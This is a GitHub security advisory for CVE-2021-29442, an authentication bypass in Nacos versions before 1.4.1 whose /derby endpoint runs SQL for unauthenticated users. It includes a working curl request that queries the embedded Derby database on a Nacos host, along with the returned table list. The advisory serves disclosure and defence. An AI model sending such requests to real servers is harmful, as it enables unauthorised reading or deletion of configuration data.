~ / search / GHSA-xv5h-v7jh-p2qh

GHSA-xv5h-v7jh-p2qh

Authentication bypass for specific endpoint

Source: GitHub Advisory Database (reviewed) High CVE-2021-29442

Packages

EcosystemPackageAffectedFixed in
Maven com.alibaba.nacos:nacos-common < 1.4.1 1.4.1

Details

As written in the advisory (Markdown source, shown as plain text).

The [`ConfigOpsController`](https://github.com/alibaba/nacos/blob/57459227863485d064ff25b3d5e24e714dcf218f/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigOpsController.java) lets the user perform management operations like querying the database or even wiping it out. While the [`/data/remove`](https://github.com/alibaba/nacos/blob/57459227863485d064ff25b3d5e24e714dcf218f/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigOpsController.java#L133-L135) endpoint is properly protected with the `@Secured` annotation, the [`/derby`](https://github.com/alibaba/nacos/blob/57459227863485d064ff25b3d5e24e714dcf218f/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigOpsController.java#L99-L100) endpoint is not protected and can be openly accessed by unauthenticated users. For example, the following request will list the tables of the database: ``` ❯ curl -X GET 'http://console.nacos.io/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st' {"code":200,"message":null,"data":[{"TABLENAME":"APP_CONFIGDATA_RELATION_PUBS"},{"TABLENAME":"APP_CONFIGDATA_RELATION_SUBS"},{"TABLENAME":"APP_LIST"},{"TABLENAME":"CONFIG_INFO"},{"TABLENAME":"CONFIG_INFO_AGGR"},{"TABLENAME":"CONFIG_INFO_BETA"},{"TABLENAME":"CONFIG_INFO_TAG"},{"TABLENAME":"CONFIG_TAGS_RELATION"},{"TABLENAME":"GROUP_CAPACITY"},{"TABLENAME":"HIS_CONFIG_INFO"},{"TABLENAME":"PERMISSIONS"},{"TABLENAME":"ROLES"},{"TABLENAME":"SYSALIASES"},{"TABLENAME":"SYSCHECKS"},{"TABLENAME":"SYSCOLPERMS"},{"TABLENAME":"SYSCOLUMNS"},{"TABLENAME":"SYSCONGLOMERATES"},{"TABLENAME":"SYSCONSTRAINTS"},{"TABLENAME":"SYSDEPENDS"},{"TABLENAME":"SYSDUMMY1"},{"TABLENAME":"SYSFILES"},{"TABLENAME":"SYSFOREIGNKEYS"},{"TABLENAME":"SYSKEYS"},{"TABLENAME":"SYSPERMS"},{"TABLENAME":"SYSROLES"},{"TABLENAME":"SYSROUTINEPERMS"},{"TABLENAME":"SYSSCHEMAS"},{"TABLENAME":"SYSSEQUENCES"},{"TABLENAME":"SYSSTATEMENTS"},{"TABLENAME":"SYSSTATISTICS"},{"TABLENAME":"SYSTABLEPERMS"},{"TABLENAME":"SYSTABLES"},{"TABLENAME":"SYSTRIGGERS"},{"TABLENAME":"SYSUSERS"},{"TABLENAME":"SYSVIEWS"},{"TABLENAME":"TENANT_CAPACITY"},{"TABLENAME":"TENANT_INFO"},{"TABLENAME":"USERS"}]}% ``` These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)

References

External links from the advisory. They lead to third-party sites.